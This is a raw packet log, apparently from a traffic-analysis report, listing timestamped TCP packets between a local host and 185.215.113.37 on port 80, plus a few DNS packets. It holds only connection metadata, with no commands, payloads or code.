Oct 25, 2024 01:27:24.215559959 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215593100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215594053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215626001 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215657949 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215657949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215688944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215718985 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215723038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215761900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215795040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215796947 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215828896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215857983 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215887070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215889931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215924025 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.215924978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215960026 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.215996027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216003895 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216029882 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216063023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216063976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216098070 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216130018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216131926 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216165066 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216200113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216200113 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216233015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216264963 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216268063 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216301918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216336012 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216336012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216367960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216392040 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216399908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216432095 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216434002 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216466904 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216468096 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216502905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216535091 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216540098 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216568947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216599941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216603994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216634035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216664076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216669083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216698885 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216703892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216737986 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216773033 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216773033 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216805935 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216839075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216845036 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216869116 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216871977 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216907024 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216938972 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216939926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.216972113 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.216979027 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217004061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217005014 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217034101 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217040062 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217066050 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217070103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217099905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217103958 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217139006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217166901 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217175007 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217196941 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217200994 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217211962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217250109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217283964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217310905 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217318058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217350960 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217385054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217390060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217418909 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217449903 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217458010 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217495918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217530966 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217534065 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217561007 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217592001 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217593908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217628956 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217660904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217667103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217695951 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217729092 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217731953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217767000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217771053 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217798948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217833996 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217834949 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217869997 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217869997 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217905045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217937946 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.217937946 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.217969894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218003988 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218008041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218036890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218070030 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218070984 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218105078 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218139887 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218139887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218172073 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218205929 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218215942 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218239069 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218274117 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218276978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218311071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218343019 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218349934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218375921 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218405962 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218410015 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218444109 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218446016 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218477011 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218478918 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218514919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218519926 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218545914 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218576908 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218580008 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218614101 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218647957 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.218652964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.218698978 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.219176054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.258658886 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.264524937 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536148071 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536215067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536237955 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536264896 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536293983 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536318064 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536351919 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536379099 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536386967 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536437035 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536464930 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536470890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536500931 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536526918 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536555052 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536603928 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536633968 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536633968 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536663055 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536706924 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536760092 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536786079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536812067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536861897 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536889076 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536896944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536932945 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.536961079 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.536964893 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537002087 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537034035 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537050962 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537079096 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537085056 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537132978 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537158966 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537169933 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537199020 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537224054 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537234068 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537267923 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537295103 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537317038 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537365913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537367105 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537365913 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537399054 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537429094 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537451982 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537499905 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537527084 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537534952 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537566900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537591934 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537600040 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537631989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537659883 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537667036 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537698030 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537724018 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537730932 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537765980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537791967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537795067 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537830114 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537856102 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537863016 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537894964 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537921906 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537929058 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537961006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.537995100 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.537995100 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538022041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538028955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538055897 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538063049 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538089037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538090944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538124084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538135052 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538149118 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538158894 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538184881 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538192034 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538224936 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538261890 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538289070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538289070 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538295031 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538317919 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538331032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538347006 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538366079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538393021 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538398027 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538431883 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538461924 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538465023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538475990 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538499117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538527012 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538558006 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538563967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538563967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538584948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538590908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538619041 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538624048 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538657904 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538685083 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538691998 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538727045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538750887 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538759947 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538788080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538795948 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538819075 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538825989 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538851976 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538860083 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538888931 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538894892 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538928032 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538928032 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538950920 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.538963079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.538995981 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.539020061 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.539030075 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.539057970 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.539062023 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.539087057 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:24.539096117 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:24.539144993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:25.004749060 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:25.004787922 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:25.010288000 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:25.010324955 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:25.795483112 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:25.795548916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:25.848711967 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:25.854115009 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:26.128895044 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:26.128928900 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:26.128942013 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:26.128956079 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:26.129028082 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:26.129378080 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:26.132225037 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:26.137584925 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:26.412091970 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:26.414912939 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:26.442996979 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:26.448517084 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.219247103 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.219320059 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.253669024 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.259524107 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.536762953 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.536782980 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.536840916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.536936045 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.536950111 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.536966085 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.536967993 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.536982059 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.536995888 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.537005901 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.537010908 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:27.537030935 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.537051916 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.538198948 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:27.543579102 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:28.313406944 CEST	80	49711	185.215.113.37	192.168.2.6
Oct 25, 2024 01:27:28.313499928 CEST	49711	80	192.168.2.6	185.215.113.37
Oct 25, 2024 01:27:33.342509031 CEST	49711	80	192.168.2.6	185.215.113.37

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 01:27:34.397932053 CEST	53	49547	162.159.36.2	192.168.2.6
Oct 25, 2024 01:27:35.057115078 CEST	51950	53	192.168.2.6	1.1.1.1
Oct 25, 2024 01:27:35.066675901 CEST	53	51950	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
